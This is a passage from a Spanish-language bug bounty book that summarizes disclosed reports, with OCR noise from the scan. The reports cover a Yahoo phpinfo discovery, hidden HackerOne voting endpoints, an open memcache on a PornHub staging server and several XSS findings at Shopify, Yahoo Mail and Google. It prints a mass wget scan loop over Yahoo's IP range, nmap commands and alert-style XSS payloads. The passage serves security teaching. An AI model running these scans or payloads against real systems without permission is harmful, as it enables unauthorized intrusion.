NetName: A-YAHOO-US9

NetHandle: NET-98-136-0-0-1

Parent: NET-98-0-0-0-0

NetType: Direct Allocation

RegDate: 2007-12-07

Updated: 2012-03-02

Ref: http://whois.arin.net/rest/net/NET-98-136-0-0-1

Fijate en la primera linea - Yahoo posee un bloque enorme de direcciones IP, desde 98.136.0.0 hasta
98.139.255.255, 0 lo que es equivalente 98.136.0.0/14 lo cual significa 260,000 direcciones IP tnicas.
Eso representa una enorme cantidad de objetivos potenciales.

Por lo tanto, Patrik escribi6é un script de bash muy sencillo para buscar un archivo phpinfo que
estuviese disponible:

https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/
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#|/bin/bash
for ipa in 98.13{6..9}.{0..255}.{0..255}; do
wget -t 1 -T 5 http://${ipa}/phpinfo.php; done &

Al ejecutarlo encontr6 de forma aleatoria ese Servidor de Yahoo.

Q& Recomendaciones

Cuando estés hackeando, considera la infraestructura entera de una compaiiia como un
terreno de juego justo, a menos que ellos te digan qué es lo que esta fuera del alcance.
Mientras que por este informe no pagaron una recompensa, sé que Patrick ha empleado
técnicas parecidas para encontrar algunos pagos de cuatro cifras.

Adicionalmente, habréas notado que aqui habian 260,000 direcciones potentiales, lo cual
hubiera sido imposible escanear manualmente. Cuando realices este tipo de pruebas,
recuerda que la automatizacién es muy importante y que algunas veces deberia ser
empleada.

9. Votacion de la Hacktividad en HackerOne

Dificultad: Media

URL: https://hackerone.com/hacktivity

Enlace del informe: https://hackereone.com/reports/137503%
Fecha del informe: 10 de Mayo, 2016

Recompensa recibida: Camisa / Sudadera con capucha
Descripcion:

Aunque técnicamente este caso no sea una vulnerabilidad de seguridad, este informe es un ejemplo
buenisimo de como pensar fuera de la caja o pensar fuera de lo normal.

Hace un tiempo, final de Abril / principio de Mayo 2016, HackerOne desarrollé una funcionalidad
para que los Hackers votaran en los informes por medio de su listado de Hacktividad. Habia un ca-
mino facil y un camino dificil de conocer la funcionabilidad que esta disponible. El camino facil, una
llamada GET a /current_user que, al estar registrado podria incluir hacktivity_voting_enabled:
false. El camino dificil esta un poco mas interesante, que es donde radica la vulnerabilidad y es el
por qué estoy incluyendo este informe.

Sivas al area de hacktividad y miras el codigo fuente de la pagina, notaras que esta un poco dispersa
y que unos cuantos divs no representan el contenido real.

*Shttps://hackerone.com/reports/137503
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2 <link rel="stylesheet” media="all" href="/assets/application-78407042. c55" />
2 <link rel="stylesheet” media="all" href="/assets/vendor-3b47297caaadfa37efefb8saplb3idac2.css™ />
72 <script src="/assets/constants-13d5526452046628d576fd847182abae. s " »</script>

<script sre="/assets/vendor-3fbd26dc.js"»</script>
24 <script src="/assets/frontend-difaedcb.js"></script>

<script s n- 4al3adefe7?99 : js"></script>
<link rel="alternate"” type="application/rss+xml" title="RSS" href="https://hackerone.com/blog" />

27| </head>

2| ¢<body class="contreller_hacktivity action_index application_full width_laycut js-backbone-routed” data-locale="en":>
2 <div class="alerts">

0| </div>

<noscript>
<div class="js-disabled">
It looks like your JavaScript is disabled. For a better experience on HackerOne, enable JlavaScript in your browser.
<fdivs
7| </moscript»

40 <div class="js-topbar”></div>

2 ¢div el je=full-width-container full-width-container”>
4 <div ¢l intenance-banner-bar"></div:
<div class="full-width-inner-container">

<div class="clearfix"></div>
</fdiv>

<div class="full-width-footer-wrapper"»
<div cla inner-container™>
62 <div id="js-footer™></div>

a4 <fdivy
5 </fdiv>
<fdivs

HackerOne Cddigo fuene de la pagina Hacktivity

Ahora, si no estas familiriazado con su plataforma y no tienes instalado un plugin como wappalyzer,
s6lo con ver el fuente de esta pagina podria decirte que el contenido de esta pagina esta siendo
renderizado por medio de javascript.

Asi que, con eso en mente, si abres las herramientas del desarrollador de Chrome o Firefox, puedes
revisar el codigo fuente javascript (en Chrome, vas a fuentes y a la izquierda, top->hackerone.com-
>assets->frontend-XXX.js). Las herramientas del desarrollador de Chrome vienen con un genial
y muy bonito {} botén de impresion el cual hara legible el javascript minificado. También podrias
utilizar Burp Suite y revisar la respuesta que devuelve este archivo Javascript.

En esto radica el motivo para incluirlo, si buscas el Javascript para la llamada POST puedes encontrar
una multitud de rutas usadas por HackerOne, lo cual podria no ser aparentemente legible en funcién
de los permisos que poseas y de lo que se te expone como contenido. Uno de los cuales es:
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K] frontend-d7faedch.js frontend-d7faedcb.js:formatted x

function(e, t, r) {
"use strict”;
var n = r(193)
» @ = r(2);
e.exports = n.extend({
urlRoot: i
return "/reports”

vote: function() {
var e = this;
a.ajax({
url: this.url() + "[vote
method: "POST"
dataType: "J
success: function(t) {
return e.set({
vote_id: t.vote_id,
vote_count: t.wvote_count

"
2

L |

1

1)
Il

T,
unvote: function() {
var e = this;

a.ajax({
url: this.url() + "[voted/" + this.get("vote_id"),
method: "DELETE",
dataType: "json”,
success: function(t) {
return e.set({
vote_id: wvoid @,
vote_count: t.vote_count
1

—

, function(e, t, r) {
"use strict";
[votes AW Cance

Line 20576, Column 49
Hackerone Aplicacién Javascript POST para votar

Como puedes ver, tenemos dos rutas para la funcionalidad de votaciéon. Al momento de este informe,
aun puedes hacer estas llamadas y votar en los informes.

Esta es una ruta para encontrar la funcionalidad - en su informe, el hacker encontrd otro método
interceptando las respuestas de HackerOne (se presume que utiliz6 una herramienta como Burp
Suite), luego cambid lo que estaba atribuido de falso a verdadero. Esto expuso los elementos de
votacion, los que cuando eran clickeados, hicieron validas las llamadas POST y DELETE.

El motivo por el cual te llevé por el camino de Javascript es porque, al interactuar con la respuesta
JSON no siempre podria exponer los elementos nuevos de HTML. Como resultado, al examinar el

Javascript se pudo exponer de otra manera las salidas que estaban “ocultas” para interactuar con
ellas.
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q& Recomendaciones

El cédigo fuente Javascript te povee con el codigo fuente propio de un objetivo que puedas
estar explorando. Esto es grandioso porque tus pruebas van desde ser de “caja negra”, donde
no tienes idea qué es lo que esta haciendo el backend, hasta la “caja blanca” (aunque no lo
sea completamente), en donde tienes un vistazo o una idea de como el codigo esta siendo
ejecutado. Esto no significa que tienes que recorrer cada linea de cédigo, en este ejemplo, la
llamada POST fue encontrada en la linea 20570 al hacer una busqueda simple del término
POST.

10. Accediendo a Memcache en PornHub

Dificultad: Media

URL: stage.pornhub.com

Enlace del informe: https://hackerone.com/reports/119871*’
Fecha del informe: 1 de Marzo, 2016

Recompensa recibida: $2,500

Descripcion:

Previamente a su lanzamiento publico, PornHub ejecut6 un programa privado de recompensas por
fallos en la plataforma HackerOne, con un alcance amplio de recompensa en *.pornhub.com lo
cual significaba para la mayoria de hackers (invitados al programa), que todos los subdominios de
PornHub eran un terreno de juego justo. Ahora, el truco consistia en encontrar los subdominios.

En una publicacion de su blog, Andy Gill @ZephrFish* explica por qué esto es impresionante, y lo es
porque en la busqueda de varios nombres de subdominios que pudieran existir, utiliz6 un listado de
un poco mas de 1 millén de nombres potenciales. Asi descubrio 90 posibles objetivos para hackearlos.

Ahora, visitar todos esos sitios para ver cuales estaban disponibles podia tomar mucho tiempo, asi
que automatiz6 el proceso utilizando la herramienta Eyewitness (incluida en el Capitulo sobre las
Herramientas), la cual toma capturas de pantalla de las URLs con paginas de respuesta HTTP /
HTTPS validas y provee un bonito informe de los sitios a la escucha en los puertos 80, 443, 8080 y
8443 (puertos comunes para HTTP y HTTPS).

Siguiendo su informe, Andy cambié cuidadosamente las piezas y utilizo la herramienta Nmap para
escarbar mas profundo dentro del subdominio stage.pornhub.com. Cuando le pregunté por qué, el
me explicé que en su experiencia, los servidores de ensayo y desarrollo son mas probables a tener
permisos de seguridad mal configurados que los servidores en produccién. Asi que, al iniciar obtuvo
la direccion IP del subdominio usando el comando nslookup:

*"https://hackerone.com/reports/119871
Zhttp://www.twitter.com/ZephrFish


https://hackerone.com/reports/119871
http://www.twitter.com/ZephrFish
https://hackerone.com/reports/119871
http://www.twitter.com/ZephrFish
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nslookup stage.pornhub.com
Server: 8.8.8.8

Address: 8.8.8.8#53
Non-authoritative answer:
Name: stage.pornhub.com

Address: 31.192.117.70

También he visto hacer esto con el comando ping, pero ya sea de una forma u otra, €l ya tiene
la direccion IP del subdominio y utilizando el comando sudo nmap -sSV -p- 31.192.117.70 -oA
stage__ph -T4 & obtuvo este resultado:

Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-07 14:09 CEST
Nmap scan report for 31.192.117.70

Host is up (0.017s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

80/tcp open http nginx

443/tcp open http nginx

60893/tcp open memcache

Service detection performed. Please report any incorrect results at http://nmap.org/submit/
. Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds

Desglosando el comando:

« el indicador -sSV define el tipo de paquete a enviar al Servidor y le dice a Nmap que intente
determinar cualquier servicio en los puertos abiertos

« el indicador -p- le dice a Nmap que revise todos los 65,535 puertos (de forma predeterminada
s6lo revisa los primeros 1,000 puertos mas populares)

+ 31.192.117.70 es la direccion IP a escanear

+ elindicador -oA nombre_DeArchivo le dice a Nmap que la salida de lo que encuentre lo guarde
en los tres formatos principales al mismo tiempo, usando el nombre de archivo stage__ph

+ el indicador -T4 define el intérvalo de tiempo para realizar la tarea (las opciones son de 0-5y
el valor mas alto es el mas rapido)
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Respecto al resultado, la clave est4 en el puerto 60893 que esté abierto y ejecutando lo que Nmap cree
que sea memcache. Para los que no estan familiarizados memcache es un servicio de caché el cual
utiliza pares clave-valor para almacenar datos arbitrarios. Esto es usado normalmente para acelerar
un sitio web de servicio por contenido. Un servicio parecido es Redis.

Encontrar esto no es una vulnerabilidad en si mismo, pero definitivamente es un banderin rojo de
alerta (aunque las guias de instalacion que he leido recomiendan hacerlo inaccesible al ptblico como
una medida de seguridad). Haciendo una prueba, sorprendentemente PornHub no habia habilitado
ninguna medida de seguridad por lo que Andy podria conectarse al servicio sin un nombre de usuario
o contrasena a través de netcat, una utilidad que sirve para leer y escribir a través de una conexion
TCP o UDP de la red. Después de haberse conectado, solamente ejecutd algunos comandos para
obtener la version, estadisticas, etc., y asi confirmar la conexion y la vulnerabilidad.

Sin embargo, un atacante podria haber utilizado este acceso para:

« Causar una denegacion de servicio (DOS) al escribir y borrar constantemente la caché y de
este modo mantener el servidor ocupado (esto depende de la configuracion del sitio)

o Causar un DOS llenando la caché del servicio con informacion chatarra, nuevamente, eso
depende de la configuracion del servicio

« Ejecutar un ataque XSS al inyectar un Javascript malicioso como un dato valido de la caché y
que este sea servido a los usuarios

« Y posiblemente, ejecutar una inyeccion SQL si los datos de la memcache estan siendo
almacenados en la base de datos

qk Recomendaciones

Los subdominios y las amplias configuraciones de red representan un potencial grandioso
para hackear. Si te diste cuenta, ese programa privado incluia todos los subdominios dentro
del alcance *.SITIO.com, intentar encontrar los subdominios que podrian ser vulnerables
era un gran reto en lugar de ir solamente por la fruta colgante que se encuentra cerca (por
lo mas facil) en el sitio principal en el que cada uno podria estar buscando. Asi que, vale la
pena que inviertas tu tiempo en familiarizarte con herramientas como Nmap, Eyewitness,
knockpy, etc. las cuales te ayudaran a seguir los pasos de Andy.

Resumen

Las vulnerabilidades basadas en la 16gica de la Aplicacion no necesariamente siempre tienen que ver
con cddigo. Por el contrario, explotar este tipo de vulnerabilidades necesita tener un ojo minucioso
y pensar fuera de la caja. Estar siempre en la busqueda de otros servicios y herramientas que un
sitio puede estar ofreciendo, lo cual representa un nuevo vector de ataque. Esto puede incluir alguna
biblioteca Javascript que el sitio esté utilizando para renderizar el contenido.
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Maés a menudo que otras veces, para encontrar estas vulnerabilidades se necesita de un interceptador
proxy el cual te premitira jugar con los valores antes que los envies al sitio que te encuentres explo-
rando. Intenta cambiar cualquier valor que te parezca que esta relacionado con el identificador de
tu cuenta. Esto podria incluir configurar dos cuentas distintas de tal forma que tengas dos conjuntos
de credenciales que sean validas y que sepas que funcionaran. También, busca extremos que estén
escondidos o que sean poco comunes los cuales podrian proporcionar acceso a funcionalidades de
forma no intencional.

También deberias estar en la busqueda en todo tiempo de algun tipo de transacciones que estén
sucediendo, siempre existe la oportunidad que los desarrolladores no tengan en cuenta el ataque de
las condiciones de carrera a nivel de la base de datos. Lo que significa que su cédigo te pueda detener,
pero si puedes volverlo a ejecutar tan pronto como sea posible, hacerlo casi de forma simultanea,
eso podria permitirte encontrar una condicion de carrera. Asegurate de probar las cosas multiples
veces en esta area, ya que esto no podria suceder con cada intento, tal como el caso con Starbucks.

Por ultimo, permanece en la busqueda de funcionalidades nuevas - a menudo esto representa areas
nuevas donde hacer pruebas! Y cuando sea posible, automatiza tus pruebas para hacer mejor uso de
tu tiempo.



Ataques de Script de Sitio Cruzado
(Cross-Site Scripting)

Descripcion

Cross-site scripting, o XSS, tiene que ver con un sitio web que incluye cédigo Javascript no deseado,
y por consecuencia dicho coédigo es enviado a los usuarios quienes lo ejecutan en sus navegadores.
Un ejemplo inofensivo de esto es:

alert(‘XSS’);

Esto dara paso a crear la funcion alert de Javascript lo cual creara una ventana emergente muy
sencilla con las letras XSS. Ahora bien, en versiones previas de este libro, habia recomendado el
ejemplo anterior cuando fueras a informar sobre este tipo de fallo. En realidad lo era, hasta que
un hacker exitoso me dijo “ese es un ejemplo terrible”, explicando que, a menudo quien recibe un
informe de esa vulnerabilidad con ese ejemplo fatal podria no entender la severidad del problema y
podria otorgar una recompensa muy baja debido al ejemplo inofensivo.

Asi que, toma nota, usa el ejemplo inofensivo para determinar si en verdad existe una vulnerabilidad
XSS, pero cuando vayas a informar, piensa como la vulnerabilidad podria impactar el sitio y
explicalo. Por eso, te recomiendo que no le digas a la compania qué es la vulnerabilidad XSS sino
que expliques qué es lo que podrias llegar a hacer con ese fallo que impacta directamente a su sitio.

Parte de tu informe debe incluir el tipo de vulnerabilidad XSS que el sitio posee, ya que hay mas de
uno:

+ XSS Reflectivo: Estos ataques no son persistentes, lo que significa que el XSS es enviado y
luego ejecutado por medio de una sencilla peticion y respuesta.

+ XSS almacenado: Estos ataques son persistentes o permanecen guardados y luego son
ejecutados cuando una pagina es cargada por usuarios desprevenidos.

« Self XSS: Estos ataques tampoco son persistentes y regularmente son utilizados para engafiar
a personas que ejecuten un XSS para si mismos.

Cuando estas en busca de vulnerabilidades, a menudo encuentras companias que no estan preocupa-
das por un Self XSS, solamente les interesa cuando sus usuarios pueden verse impactados por causas
ajenas a su voluntad como lo es en el caso de los XSS reflejados o almacenados. Sin embargo, eso
no significa que debes ignorar por completo los Self XSS.
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Cuando te encuentres en una situaciéon donde puede ser ejecutado un Self XSS pero no es
almacenado, necesitas pensar como puede ser explotada esa vulnerabilidad. ;habra algo que debes
combinar para que no sea mas un Self XSS?

Uno de los ejemplos mas famosos de explotacion de un ataque XSS fue el Gusano Samy de MySpace,
ejecutado por Samy Kamkar. En Octubre de 2005, Samy tom¢ ventaja de una vulnerabilidad del tipo
XSS almacenado, el cual le permitia subir cédigo Javascript. El codigo era ejecutado por cualquiera
que visitara su pagina de MySpace, de esa manera hacia que cualquiera que visitara su perfil lo
convertia automaticamente en su amigo. Pero, ademas de eso, el codigo también se replicaba a si
mismo a través de las paginas de los nuevos amigos de Samy, de tal forma que los visitantes del
perfil infectado ahora venian a tener actualizadas sus paginas con la frase “pero de todos, Samy es
mi héroe”.

Mientras que la explotacién de la vulnerabilidad hecha por Samy no fue del todo maliciosa, los fallos
XSS hacen posible el robo de nombres de usuarios, contrasefias, informacién de cuentas bancarias,
etc. A pesar de las implicaciones potenciales que tiene este ataque, reparar vulnerabilidades XSS a
menudo es facil, solamente se necesita que los desarrolladores de software hagan escapar algunos
caracteres especiales en las posibles entradas de datos por parte de los usuarios al momento de
renderizarla en el navegador (como el caso de la Inyeccion HTML). Aunque algunos sitios sélo
escapan unos cuantos caracteres especiales cuando un atacante los envia.

0 Enlaces

Revisa la hoja de trucos en Hoja de trucos de evasion de filtros XSS de OWASP*

Ejemplos

1. Ventas al por mayor en Shopify

Dificultad: Baja

URL: wholesale.shopify.com

Enlace del informe: https://hackerone.com/reports/106293*
Fecha del informe: 21 de Diciembre, 2015

Recompensa recibida: $500

Descripcion:

El sitio de ventas al por mayor de Shopify*! es una pagina web sencilla con una accion a cada llamada
— ingresar el nombre de un producto y hacer clic en “Buscar Productos”. Aqui estd una captura de
pantalla:

*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
*https://hackerone.com/reports/106293
*1wholesale.shopify.com


https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://hackerone.com/reports/106293
wholesale.shopify.com
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://hackerone.com/reports/106293
wholesale.shopify.com
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WHOLESALE PRODUCT SEARCH (BETA)

What do you want to sell?

test Find products

No products? No problem!

Shopify’'s wholesale product search is the easiest way to connect business owners with wholesale
suppliers. Simply enter the type of product you're looking for, select the ones you like, and we will email the
wholesalers on your behalf.

& v

Search Select Sell

Use Shopify's wholesale product  Add products to your list and Add your new wholesale products
search to find products for your Shopify will connect you with their  to your online store and start
online store. wholesale distributors. making sales.

Captura de pantalla del sitio de ventas al por mayor en Shopify

La vulnerabilidad XSS aqui fue la méas basica que podrias encontrar - ingresar texto en una caja de
busqueda que no fue escapada, asi que cualquier codigo Javascript que ingresara era ejecutado. Este
es el texto enviado en la divulgacion de la vulnerabilidad: test’;alert(*XSS’);’

El motivo por el cual esto funcionaba, es porque Shopify tomé la informacién del usuario, ejecutd
la bisqueda y al no haber resultados Shopify imprimia un mensaje diciendo que no encontraron
productos y mostraba el criterio de busqueda sin escaparlo. Como resultado, el Javascript enviado
era mostrado de nuevo en la pagina web y el navegador lo interpretaba como c6digo Javascript que
debia ser ejecutado.
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q& Recomendaciones

Prueba lo que sea, pon atencién especial en situaciones donde el texto que hayas ingresado
esta siendo mostrado de nuevo. Determina donde puedes incluir HTML o Javascript y mira
como el sitio lo maneja. Trata de codificar el cédigo de prueba que envies parecido a lo que
se hizo en el capitulo de Inyeccion HTML.

Las vulnerabilidades XSS no tienen porqué ser oscuras o complicadas. Esta vulnerabilidad
es de las mas basicas que puedes encontrar - una entrada de texto sencilla en un campo de
busqueda el cual no sanitiza la entrada de datos del usuario. Y fue descubierta el 21 de
Diciembre, 2015. Ademéas de que el hacker se anotdé con $500! Todo lo que se necesit6
fue una perspectiva de hacker.

2. Carrito de tarjeta de regalo en Shopify

Dificultad: Baja

URL: hardware.shopify.com/cart

Enlace del informe: https://hackerone.com/reports/95089*
Fecha del informe: 21 de Octubre, 2015

Recompensa recibida: $500

Descripcion:

El sitio de tarjeta de regalo en Hardware de Shopify®® le permite a los usuarios disefiar sus propias
tarjetas de regalo por medio de un formulario HTML el cual incluye un campo de entrada para subir
un archivo, algunos campos de texto para los detalles, etc. Aqui tienes una captura de pantalla:

*2https://hackerone.com/reports/95089

33 . . o i
hardware.shopify.com/collections/gift- cards/products/custom-gift-card


https://hackerone.com/reports/95089
https://hackerone.com/reports/95089
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& shopify

GIFT CARDS

Design your own

“ B Fovocerd

Upload Chooea Fle | Mo file chasen

; "

Nead 3 tamplate? Our gifl card lempiaie ks

Your stere name

Line 1 faur stare name

Lina 2 Your sddress or any ather informatian

Lina 3 Yaur website ur

A prood will be emalied for 2pprowal within teo bucinscc dayc

Carde printed In: W 7-10 Susiness days 35 Business days |+550)

Humibar of it Carde 100

Captura de pantalla del formulario para la tarjeta de regalo en hardware de Shopify
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La vulnerabilidad XSS tenia efecto cuando un cédigo Javascript era ingresado en el atributo name de
la imagen. Una tarea muy facil hecha con un proxy HTML. Asi que, el envio del formulario original

podia incluir:

Content-Disposition: form-data; name="properties[Artwork file]"

El cual podia ser interceptado y cambiado a:
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1 Content-Disposition: form-data; name="properties/Artwork file<img src='test' onm\
2. ouseover='alert(2)'>]";

qt Recomendaciones

Hay dos cosas de las cuales hay que tomar nota cuando se buscan vulnerabilidades XSS:

1. La vulnerabilidad no se encontraba en el campo de entrada en si mismo - estaba
en la propiedad nombre del campo. Asi que, cuando te encuentres en biisqueda de
vulnerabilidades XSS juega y prueba con todos los campos de entrada disponibles.

2. Aqui el valor fue enviado después de ser manipulado por un proxy. Esto es clave en
situaciones donde hay validacién de valores con Javascript del lado del cliente (tu
navegador) antes de que cualquier valor sea enviado al servidor del sitio.

De hecho, en cualquier momento que veas que esta teniendo lugar alguna validacién
en tu navegador en tiempo real, esto deberia ser un indicador de banderin rojo de
alerta que necesitas hacer pruebas en ese campo! Los desarrolladores pueden cometer el
error de no validar los valores que son enviados a su servidor en busca de cédigo malicioso
porque ellos creen que el codigo Javascript en el navegador ya ha manejado las validaciones
antes que la entrada sea recibida.

3. Formateo monetario en Shopify

Dificultad: Baja

URL: SITE.myshopify.com/admin/settings/generalt

Enlace del informe: https://hackerone.com/reports/104359*
Fecha del informe: 9 de Diciembre, 2015

Recompensa recibida: $1,000

Descripcion:

Las configuraciones de una tienda en Shopify incluyen la capacidad de cambiar el formato de
moneda. El 9 de Diciembre, fue reportado que los valores de esos campos de entrada no estaban
sanitizados adecuadamente cuando se configuraban paginas de medios sociales.

En otras palabras, un usuario malicioso podria configurar una tienda y cambiar las configuraciones
del tipo de moneda de la tienda a las siguientes:

**https://hackerone.com/reports/104359


https://hackerone.com/reports/104359
https://hackerone.com/reports/104359
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£ Settings / General

Unit system

Metric System v

Currency

Currency Formatting

Change how currencies are displ

HTML with currency

${{amount}} "><img src=x onerror=alert(document.domain)>

HTML without currency

${{amount}} "><img src=x onerror=alert(document.domain)>

Email with currency

${{amount}} "'><img src=x onerror=alert(decument.domain)>

Email without currency

${{amount}} "'><img src=x onerror=alert(document.domain)>

Edit order ID format (optional)

umbers start at #1001 by default. While you can't change the ordel
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Default weight unit

Kilogram (kg) v

suffix to create 1Ds like

Captura de pantalla del formateo monetario en Shopify

De esta forma, el usuario podia habilitar los canales de medios sociales, para el caso del informe
eran Facebook y Twitter. Cuando los usuarios de la tienda hicieran clic en la pesatafia de ese canal
de venta el codigo Javascript era ejecutado, resultando en una vulnerabilidad XSS.

Q,

Recomendaciones

Las vulnerabilidades XSS son efectivas cuando el texto Javascript es renderizado de forma

insegura. Es posible que ese texto sera utilizado en multiples lugares en el sitio, asi que en
cada una de esas ubicaciones debera ser probado. En este caso, Shopify no incluye revisiones
de paginas para las tiendas en busca de vulnerabilidades XSS, ya que los usuarios tienen
permitido utilizar Javascript a su conveniencia en su tienda. Hubiera sido facil escribir esta
vulnerabilidad antes de considerar si el campo se utiliza en los sitios externos de medios

sociales.

4. XSS almacenado en Yahoo Mail

Dificultad: Baja
URL: Yahoo Mail

Enlace del informe: Klikki.fi*
Fecha del informe: 26 de Diciembre, 2015

*https://klikki.fi/adv/yahoo.html


https://klikki.fi/adv/yahoo.html
https://klikki.fi/adv/yahoo.html
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Recompensa recibida: $10,000
Descripcion:

El editor de correo de Yahoo permitia a alguien embeber imagenes en un correo através de HTML
con una etiqueta IMG. La vulnerabilidad se hacia presente cuando la etiqueta IMG de HTML estaba
mal formada o era invalida.

La mayoria de etiquetas HTML acepta atributos e informacion adicional en la etiqueta. Por ejemplo,
la etiqueta IMG toma un atributo src apuntando hacia la direccién donde se encuentra la imagen que
va a mostrar. Ademas, algunos atributos son conocidos como atributos booleanos, lo que significa
que si estos son incluidos representan un valor “true” en HTML y cuando se omiten representan un
valor “false”.

Respecto a esta vulnerabilidad, Jouko Pynnonen encontré que si afiadia atributos booleanos a las
etiquetas HTML con valores no booleanos, el editor del correo de Yahoo podia eliminar el valor y
dejar vacio el simbolo igual. Aqui est4 un ejemplo del sitio web de Klikki.fi:

<INPUT TYPE="checkbox" CHECKED="hello" NAME="check box">

Aqui, la etiqueta input podria incluir un atributo checked haciendo notar que elemento checkbox
aparezca como marcado. Siguiendo el ejemplo de arriba, esto vendria a resultar en:

<INPUT TYPE="checkbox" CHECKED= NAME="check box">

Notese que el HTML pasa de tener un valor para el atributo CHECKED a aparecer vacio pero aun
asi incluye el simbolo igual.

Admitiendo que esto parece inofensivo, de acuerdo a las especificaciones HTML, los navegadores
leen esto como que el atributo CHECKED tiene un valor igual a NAME="check y la etiqueta input
tendra un tercer atributo llamado box el cual no tiene un valor. Esto es porque HTML permite cero
o mas caracteres de espacio alrededor del simbolo igual, asi también un valor de atributo que no esté
entre comillas.

Para explotar esto, Jouko envi6 la siguiente etiqueta IMG:

<img ismap='xxx' itemtype='yyy style=width:100%;height:100%;position:fixed;left:\
Opx;top:Qpx; onmouseover=alert(/XSS/)//'>

Lo cual, al filtrarlo el correo de Yahoo lo devolvié como:

<img ismap=itemtype=yyy style=width:100%;height:100%;position: fixed;left:0px;top\
:Qpx; onmouseover—alert(/XSS/)//>
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Como resultado, el navegador pudo renderizar una etiqueta IMG que tomaba por completo la
ventana del navegador y cuando el puntero del ratén flotara sobre la imagen el cédigo Javascript
podria ser ejecutado.

q& Recomendaciones

Pasar un HTML roto o mal formado es una forma grandiosa de probar como los sitios ana-
lizan una entrada. T4, como hacker, es imortante que consideres lo que los desarrolladores
no consideraron. Por ejemplo, con etiquetas IMG normales, ;qué sucederia si pasas dos
artibutos src? jcomo sera renderizado esto en el navegador?

5. Buscador de imagenes de Google

Dificultad: Media

URL: images.google.com

Enlace del informe: Zombie Help**

Fecha del informe: 12 de Septiembre, 2015
Recompensa recibida: No divulgada
Descripcion:

En Septiembre de 2015, Mahmoud Jamal estaba utilizando el buscador de imagenes de Google para
encontrar una imagen para su perfil en HackerOne. Mientras navegaba se fijo en algo interesante
de la URL de la imagen proporcionada por Google:

http://www.google.com/imgres?imgurl=https://1h3.googleuser.com/. ..

Fijate en la referencia a imgurl en la URL actual. Cuando flotara sobre la miniatura, Mahmoud not6
que el atributo href de la etiqueta anchor incluia la misma URL. Como resultado, intent6 cambiar el
parametro a javascript:alert(1) y not6 que el atributo href de la etiqueta anchor también cambi6 al
mismo valor.

Entusiasmado hasta este punto, hizo clic en el enlace pero no se ejecuté el Javascript ya que la URL
de Google habia cambiado a algo diferente. Regresando, el codigo de Google cambid el valor de la
URL cuando un botén del raton era presionado por medio de la llamada de regreso onmousedown
de Javascript.

Pensando en eso, Mahmoud decidi6 desplazarse con el teclado por la pagina usando la tecla TAB.
Cuando lleg6 al boton Ver Imagen, se dispar6 el codigo Javascript resultando en una vulnerabilidad
XSS. Aqui esta la imagen:

*Shttp://zombiehelp54.blogspot.ca/2015/09/how-i-found- xss-vulnerability-in-google.-html


http://zombiehelp54.blogspot.ca/2015/09/how-i-found-xss-vulnerability-in-google.html
http://zombiehelp54.blogspot.ca/2015/09/how-i-found-xss-vulnerability-in-google.html
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' G birds - Google Search %V G Google Image Resuitfor % YL}

€« C fi & nhups

The page at https://www.google.com says:

XSSed By ZombiehelpS4

Vulnerabilidad XSS en Google

q& Recomendaciones

‘www.google.com/imgres?imgurl=javascript:alert["XSSed%20By%20Zombiehelp54 ") &imgrefurl=https://en.wikipedia.org/wiki/Bird&h

Bird - Wikipedia, the free encyclopedia

Permanece siempre en la busqueda de vulnerabilidades. Es facil asumir que sélo por ser
una compafia enorme o muy bien conocida todo ya ha sido encontrado. No obstante, las

compaiiias siempre envian codigo.

Adicionalmente, hay muchas formas en las que un cddigo Javascript puede ser ejecutado.
En este caso, podria haber sido facil rendirse después de ver que Google cambi6 el valor con
un manejador de eventos onmousedown, lo que significaba que el enlace era clickeado...

con un raton.

6. XSS almacenado en Google Tagmanager

Dificultad: Media
URL: tagmanager.google.com

Enlace del informe: https://blog.it-securityguard.com/bugbounty-the-5000-google-xss*’

Fecha del informe: 31 de Octubre, 2014
Recompensa recibida: $5,000

Descripcion:

*"https://blog.it-securityguard.com/bugbounty-the-5000-google-xss


https://blog.it-securityguard.com/bugbounty-the-5000-google-xss
https://blog.it-securityguard.com/bugbounty-the-5000-google-xss
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En Octubre de 2014, Patrik Fehrehbach encontré una vulnerabilidad de XSS almacenado en Google.
La parte interesante del informe es como €l hizo para haber pasado la carga de cddigo a Google.

Google Tagmanager es una herramienta SEO esa que le hace facil la vida a los de mercadeo para
anadir y actualizar etiquetas de sitios web - icluyendo el rastreo de conversion, andlisis del sitio,
republicidad y mucho mds.... Para hacerlo, esto tiene cierta cantidad de formularios web para que
los usuarios interactuen con ellos. Como resultado, Patrick inici6 ingresando cargas de codigo
XSS dentro de los campos disponibles en los formularios, los cuales lucian como #>img src=/
onerror=alert(3)>. Si era aceptado, esto podria cerrar una etiqueta HTML existente > y luego
intentar cargar una imagen inexistente lo cual ejecutara el evento onerror de Javascript y por
consiguiente dara paso a la funcion alert(3).

Sin embargo, esto no funcioné. Google habia sanitizado propiamente las entradas. No obstante,
Patrik se fijo en una alternativa - Google provee la capacidad de subir un archivo JSON con multiples
etiquetas. Asi que él descargo el ejemplo y subi6 esto:

"data": {
"name": "#"><img src=/ onerror=alert(3)>",
"type": "AUTO_EVENT_VAR",
"autoEventVarMacro": {
"varType": "HISTORY_NEW_URL_FRAGMENT"

Aqui, notaras que el nombre de la etiqueta es su carga de codigo XSS. Asi que, Google no estaba
sanitizando la entrada del formulario para subir archivos y la carga de cédigo fue ejecutada.

Q& Recomendaciones

Aqui hay dos cosas intersantes. Primero, Patrik encontr6 una alternativa de proveer una
entrada - permanece atento y prueba todos los métodos que un objetivo provee para
ingresar datos. Segundo, Google estaba sanitizando la entrada pero no estaba escapando
la salida al momento de renderizarla. Ellos tuvieron que escapar la entrada provista por
Patrik. De hacerlo la carga de cddigo no se hubiera ejecutado, ya que el HTML hubiera
sido convertido en caracteres inofensivos.

7. XSS en United Airlines

Dificultad: Dificil
URL:: checkin.united.com
Enlace del informe: Unidos al XSS en United*®

*8strukt93.blogspot.ca


strukt93.blogspot.ca
strukt93.blogspot.ca
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Fecha del informe: Julio de 2016
Recompensa recibida: (ain esta por determinarse)
Descripcion:

En Julio de 2016, mientras Mustafa Hasan (@strukt93) buscaba vuelos baratos, comenzé a hurgar
